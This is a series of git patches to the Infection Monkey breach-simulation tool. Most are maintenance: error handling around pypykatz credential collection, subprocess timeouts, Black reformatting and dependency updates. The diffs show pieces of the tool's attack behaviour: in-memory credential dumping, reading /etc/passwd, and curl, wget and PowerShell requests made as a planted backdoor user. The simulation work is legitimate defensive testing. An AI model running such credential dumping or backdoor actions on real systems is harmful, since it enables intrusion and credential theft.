b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 25e02f5e1..dac0334e0 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -29,7 +29,11 @@ def get_windows_creds() -> List[WindowsCredentials]: logger.debug("Skipping pypykatz because the operating system is not Windows") return [] - pypy_handle = pypykatz.go_live() + try: + pypy_handle = pypykatz.go_live() + except Exception as err: + logger.info(f"Credential gathering with pypykatz failed: {err}") + return [] logon_data = pypy_handle.to_dict() windows_creds = _parse_pypykatz_results(logon_data) return windows_creds From 91f0a4e8ea73ffac2ca7e25f4e6693259e9765e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 08:55:33 -0400 Subject: [PATCH 0976/1110] UT: Remove stale TODOs in MockPuppet --- monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index 4baa7f61d..295c68ceb 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -32,7 +32,6 @@ class MockPuppet(IPuppet): logger.debug(f"run_credential_collector({name})") if name == "SSHCollector": - # TODO: Replace Passwords with SSHKeypair after it is implemented ssh_credentials = Credentials( [Username("m0nk3y")], [ @@ -135,7 +134,6 @@ class MockPuppet(IPuppet): return empty_fingerprint_data - # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( self, name: str, From 4ad07ae3ffd75d66414421c5b93d5046798a1b77 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 31 Mar 2022 17:32:33 +0300 Subject: [PATCH 0977/1110] Agent: Add timeouts in shell startup modification PBA's --- .../linux/shell_startup_files_modification.py | 5 ++++- .../windows/shell_startup_files_modification.py | 5 ++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py index ddd8f514b..63d67d208 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py @@ -1,5 +1,6 @@ import subprocess +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os @@ -12,7 +13,9 @@ def get_linux_commands_to_modify_shell_startup_files(): # get list of usernames USERS = ( subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", + shell=True, + timeout=MEDIUM_REQUEST_TIMEOUT, ) .decode() .split("\n")[:-1] diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index 9d90f3812..714596266 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -1,6 +1,7 @@ import subprocess from pathlib import Path +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os MODIFY_POWERSHELL_STARTUP_SCRIPT = Path(__file__).parent / "modify_powershell_startup_file.ps1" @@ -16,7 +17,9 @@ def get_windows_commands_to_modify_shell_startup_files(): # get list of usernames USERS = ( - subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116 + subprocess.check_output( # noqa: DUO116 + "dir C:\\Users /b", shell=True, timeout=MEDIUM_REQUEST_TIMEOUT + ) .decode() .split("\r\n")[:-1] ) From 84a7d864b5f02515bc3db4e8c4b3f15c3f731031 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 31 Mar 2022 12:55:28 +0300 Subject: [PATCH 0978/1110] Agent: Remove timeouts from communicate_as_backdoor_user.py Timeouts are removed from commands because timeouts are defined in popen instead --- .../actions/communicate_as_backdoor_user.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 93b461c11..ed17146f0 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -75,20 +75,19 @@ class CommunicateAsBackdoorUser(PBA): @staticmethod def get_commandline_for_http_request(url, is_windows=is_windows_os()): if is_windows: - format_string = ( - 'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [' - "Net.SecurityProtocolType]::Tls12; " - 'Invoke-WebRequest {url} -UseBasicParsing -method HEAD"' + return ( + f'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [' + f"Net.SecurityProtocolType]::Tls12; " + f'Invoke-WebRequest {url} -UseBasicParsing -method HEAD"' ) else: # if curl works, we're good. # If curl doesn't exist or fails and wget work, we're good. # And if both don't exist: we'll call it a win. if shutil.which("curl") is not None: - format_string = "curl {url} --head --max-time 10" + return f"curl {url} --head" else: - format_string = "wget -O/dev/null -q {url} --method=HEAD --timeout=10" - return format_string.format(url=url) + return f"wget -O/dev/null -q {url} --method=HEAD" @staticmethod def _get_result_for_telemetry(exit_status, commandline, username): From dba9b9a6371f6f02d56b1b796dfc6f7d356cd423 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 19:54:51 -0400 Subject: [PATCH 0979/1110] Project: Update swimm binary download location in .travis.yaml --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index ffc930a38..f2f2e2fe5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,7 +80,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- curl -L https://github.com/swimmio/SwimmReleases/releases/latest/download/packed-swimm-linux-cli --output swimm-cli +- curl -L https://releases.swimm.io/ci/latest/packed-swimm-linux-cli --output swimm-cli - chmod u+x swimm-cli - ./swimm-cli --version - ./swimm-cli verify From 5815941f1ab8c0cc9474cfb64434b6e70d8a3762 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 20:10:39 -0400 Subject: [PATCH 0980/1110] Project: Update pre-commit hooks to the latest versions --- .pre-commit-config.yaml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 75c0ea28f..ee808ac88 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,7 +1,7 @@ default_stages: [commit] repos: - repo: https://github.com/pycqa/isort - rev: 5.8.0 + rev: 5.10.1 hooks: - id: isort name: isort (python) @@ -12,16 +12,16 @@ repos: name: isort (pyi) types: [pyi] - repo: https://github.com/psf/black - rev: 20.8b1 + rev: 22.3.0 hooks: - id: black - repo: https://gitlab.com/pycqa/flake8 - rev: 3.9.1 + rev: 4.0.1 hooks: - id: flake8 additional_dependencies: [dlint] - repo: https://github.com/pre-commit/pre-commit-hooks - rev: v3.4.0 + rev: v4.1.0 hooks: - id: check-added-large-files - id: check-case-conflict @@ -31,7 +31,7 @@ repos: - id: end-of-file-fixer - id: trailing-whitespace - repo: https://github.com/eslint/eslint - rev: v7.24.0 + rev: v8.12.0 hooks: - id: eslint args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] @@ -45,7 +45,7 @@ repos: exclude: "monkey/monkey_island/cc/ui" stages: [push] - repo: https://github.com/swimmio/pre-commit - rev: v0.2 + rev: v0.7 hooks: - id: swimm-verify - repo: https://github.com/jendrikseipp/vulture From 5134533f0fb88a8d615e80590ede841a3db28e53 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 20:15:27 -0400 Subject: [PATCH 0981/1110] Island: Reformat all code with latest version of Black --- monkey/monkey_island/cc/services/utils/network_utils.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index a37cd3250..0a64af5ec 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -14,14 +14,13 @@ if sys.platform == "win32": local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - else: import fcntl def local_ips(): result = [] try: - is_64bits = sys.maxsize > 2 ** 32 + is_64bits = sys.maxsize > 2**32 struct_size = 40 if is_64bits else 32 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) max_possible = 8 # initial value From a3a99faec745edcdd99a32c5503f9612945c2d1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 20:15:51 -0400 Subject: [PATCH 0982/1110] Agent: Reformat all code with latest version of Black --- monkey/infection_monkey/network/info.py | 1 - .../post_breach/actions/communicate_as_backdoor_user.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 162fb423b..e26df1989 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -66,7 +66,6 @@ if is_windows_os(): def get_routes(): raise NotImplementedError() - else: from fcntl import ioctl diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index ed17146f0..01843b242 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -105,4 +105,4 @@ class CommunicateAsBackdoorUser(PBA): def twos_complement(exit_status): - return hex(exit_status & (2 ** 32 - 1)) + return hex(exit_status & (2**32 - 1)) From dc133a9d97607c9c6161e99aad8643428ccc2840 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 31 Mar 2022 20:37:23 -0400 Subject: [PATCH 0983/1110] Island: Update formatting packages in Pipfile Updates black, dlint, flake8, isort --- monkey/monkey_island/Pipfile | 8 +- monkey/monkey_island/Pipfile.lock | 527 ++++++++++++------------------ 2 files changed, 221 insertions(+), 314 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index fe4e12522..06dd0daef 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -31,11 +31,11 @@ virtualenv = ">=20.0.26" mongomock = "==3.23.0" pytest = ">=5.4" requests-mock = "==1.8.0" -black = "==20.8b1" -dlint = "==0.11.0" -flake8 = "==3.9.0" +black = "==22.3.0" +dlint = "==0.12.0" +flake8 = "==4.0.1" pytest-cov = "*" -isort = "==5.8.0" +isort = "==5.10.1" coverage = "*" vulture = "==2.3" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 6450abd8e..196059612 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9c7bfed341e413c0d1afccf60ef54891d02b46ecb1f66b77e25b3b1b83601bc7" + "sha256": "260be37685cd94ec3e28773e82834ee6564462ace9b7b1c9242dcf611e33fd25" }, "pipfile-spec": 6, "requires": { @@ -135,19 +135,19 @@ }, "charset-normalizer": { "hashes": [ - "sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45", - "sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c" + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], "markers": "python_version >= '3'", - "version": "==2.0.11" + "version": "==2.0.12" }, "click": { "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + "sha256:24e1a4a9ec5bf6299411369b208c1df2188d9eb8d916302fe6bf03faed227f1e", + "sha256:479707fe14d9ec9a0757618b7a100a0ae4c4e236fac5b7f80ca68028141a1a72" ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" + "markers": "python_version >= '3.7'", + "version": "==8.1.2" }, "colorama": { "hashes": [ @@ -159,29 +159,29 @@ }, "cryptography": { "hashes": [ - "sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3", - "sha256:2d87cdcb378d3cfed944dac30596da1968f88fb96d7fc34fdae30a99054b2e31", - "sha256:30ee1eb3ebe1644d1c3f183d115a8c04e4e603ed6ce8e394ed39eea4a98469ac", - "sha256:391432971a66cfaf94b21c24ab465a4cc3e8bf4a939c1ca5c3e3a6e0abebdbcf", - "sha256:39bdf8e70eee6b1c7b289ec6e5d84d49a6bfa11f8b8646b5b3dfe41219153316", - "sha256:4caa4b893d8fad33cf1964d3e51842cd78ba87401ab1d2e44556826df849a8ca", - "sha256:53e5c1dc3d7a953de055d77bef2ff607ceef7a2aac0353b5d630ab67f7423638", - "sha256:596f3cd67e1b950bc372c33f1a28a0692080625592ea6392987dba7f09f17a94", - "sha256:5d59a9d55027a8b88fd9fd2826c4392bd487d74bf628bb9d39beecc62a644c12", - "sha256:6c0c021f35b421ebf5976abf2daacc47e235f8b6082d3396a2fe3ccd537ab173", - "sha256:73bc2d3f2444bcfeac67dd130ff2ea598ea5f20b40e36d19821b4df8c9c5037b", - "sha256:74d6c7e80609c0f4c2434b97b80c7f8fdfaa072ca4baab7e239a15d6d70ed73a", - "sha256:7be0eec337359c155df191d6ae00a5e8bbb63933883f4f5dffc439dac5348c3f", - "sha256:94ae132f0e40fe48f310bba63f477f14a43116f05ddb69d6fa31e93f05848ae2", - "sha256:bb5829d027ff82aa872d76158919045a7c1e91fbf241aec32cb07956e9ebd3c9", - "sha256:ca238ceb7ba0bdf6ce88c1b74a87bffcee5afbfa1e41e173b1ceb095b39add46", - "sha256:ca28641954f767f9822c24e927ad894d45d5a1e501767599647259cbf030b903", - "sha256:e0344c14c9cb89e76eb6a060e67980c9e35b3f36691e15e1b7a9e58a0a6c6dc3", - "sha256:ebc15b1c22e55c4d5566e3ca4db8689470a0ca2babef8e3a9ee057a8b82ce4b1", - "sha256:ec63da4e7e4a5f924b90af42eddf20b698a70e58d86a72d943857c4c6045b3ee" + "sha256:0a3bf09bb0b7a2c93ce7b98cb107e9170a90c51a0162a20af1c61c765b90e60b", + "sha256:1f64a62b3b75e4005df19d3b5235abd43fa6358d5516cfc43d87aeba8d08dd51", + "sha256:32db5cc49c73f39aac27574522cecd0a4bb7384e71198bc65a0d23f901e89bb7", + "sha256:4881d09298cd0b669bb15b9cfe6166f16fc1277b4ed0d04a22f3d6430cb30f1d", + "sha256:4e2dddd38a5ba733be6a025a1475a9f45e4e41139d1321f412c6b360b19070b6", + "sha256:53e0285b49fd0ab6e604f4c5d9c5ddd98de77018542e88366923f152dbeb3c29", + "sha256:70f8f4f7bb2ac9f340655cbac89d68c527af5bb4387522a8413e841e3e6628c9", + "sha256:7b2d54e787a884ffc6e187262823b6feb06c338084bbe80d45166a1cb1c6c5bf", + "sha256:7be666cc4599b415f320839e36367b273db8501127b38316f3b9f22f17a0b815", + "sha256:8241cac0aae90b82d6b5c443b853723bcc66963970c67e56e71a2609dc4b5eaf", + "sha256:82740818f2f240a5da8dfb8943b360e4f24022b093207160c77cadade47d7c85", + "sha256:8897b7b7ec077c819187a123174b645eb680c13df68354ed99f9b40a50898f77", + "sha256:c2c5250ff0d36fd58550252f54915776940e4e866f38f3a7866d92b32a654b86", + "sha256:ca9f686517ec2c4a4ce930207f75c00bf03d94e5063cbc00a1dc42531511b7eb", + "sha256:d2b3d199647468d410994dbeb8cec5816fb74feb9368aedf300af709ef507e3e", + "sha256:da73d095f8590ad437cd5e9faf6628a218aa7c387e1fdf67b888b47ba56a17f0", + "sha256:e167b6b710c7f7bc54e67ef593f8731e1f45aa35f8a8a7b72d6e42ec76afd4b3", + "sha256:ea634401ca02367c1567f012317502ef3437522e2fc44a3ea1844de028fa4b84", + "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", + "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], "markers": "python_version >= '3.6'", - "version": "==36.0.1" + "version": "==36.0.2" }, "dpath": { "hashes": [ @@ -193,11 +193,11 @@ }, "flask": { "hashes": [ - "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", - "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" + "sha256:8a4cf32d904cf5621db9f0c9fbcd7efabf3003f22a04e4d0ce790c7137ec5264", + "sha256:a8c9bd3e558ec99646d177a9739c41df1ded0629480b4c8d2975412f3c9519c8" ], "index": "pypi", - "version": "==2.0.2" + "version": "==2.1.1" }, "flask-jwt-extended": { "hashes": [ @@ -340,11 +340,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", - "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" ], "markers": "python_version < '3.8'", - "version": "==4.11.0" + "version": "==4.11.3" }, "ipaddress": { "hashes": [ @@ -356,19 +356,19 @@ }, "itsdangerous": { "hashes": [ - "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", - "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" + "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44", + "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.2" }, "jinja2": { "hashes": [ - "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", - "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" + "sha256:539835f51a74a69f41b848a9645dbdc35b4f20a3b601e2d9a7e22947b15ff119", + "sha256:640bed4bb501cbd17194b3cace1dc2126f5b619cf068a726b98192a0fde74ae9" ], - "markers": "python_version >= '3.6'", - "version": "==3.0.3" + "markers": "python_version >= '3.7'", + "version": "==3.1.1" }, "jmespath": { "hashes": [ @@ -388,78 +388,49 @@ }, "markupsafe": { "hashes": [ - "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", - "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", - "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", - "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", - "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", - "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", - "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", - "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", - "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", - "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", - "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", - "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", - "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", - "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", - "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", - "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38", - "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", - "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", - "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", - "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", - "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", - "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", - "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", - "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", - "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", - "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", - "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", - "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", - "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", - "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", - "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", - "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", - "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", - "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", - "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", - "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", - "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", - "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", - "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", - "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", - "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", - "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", - "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", - "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", - "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", - "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", - "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", - "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", - "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", - "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", - "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", - "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", - "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145", - "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", - "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", - "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", - "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", - "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", - "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", - "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", - "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", - "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", - "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85", - "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9", - "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", - "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", - "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", - "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", - "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", + "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", + "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", + "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", + "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", + "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", + "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", + "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", + "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", + "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", + "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", + "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", + "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", + "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", + "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", + "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", + "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", + "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", + "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", + "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", + "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", + "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", + "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", + "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", + "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", + "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", + "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", + "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", + "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", + "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", + "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", + "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", + "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", + "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", + "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", + "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", + "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", + "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", + 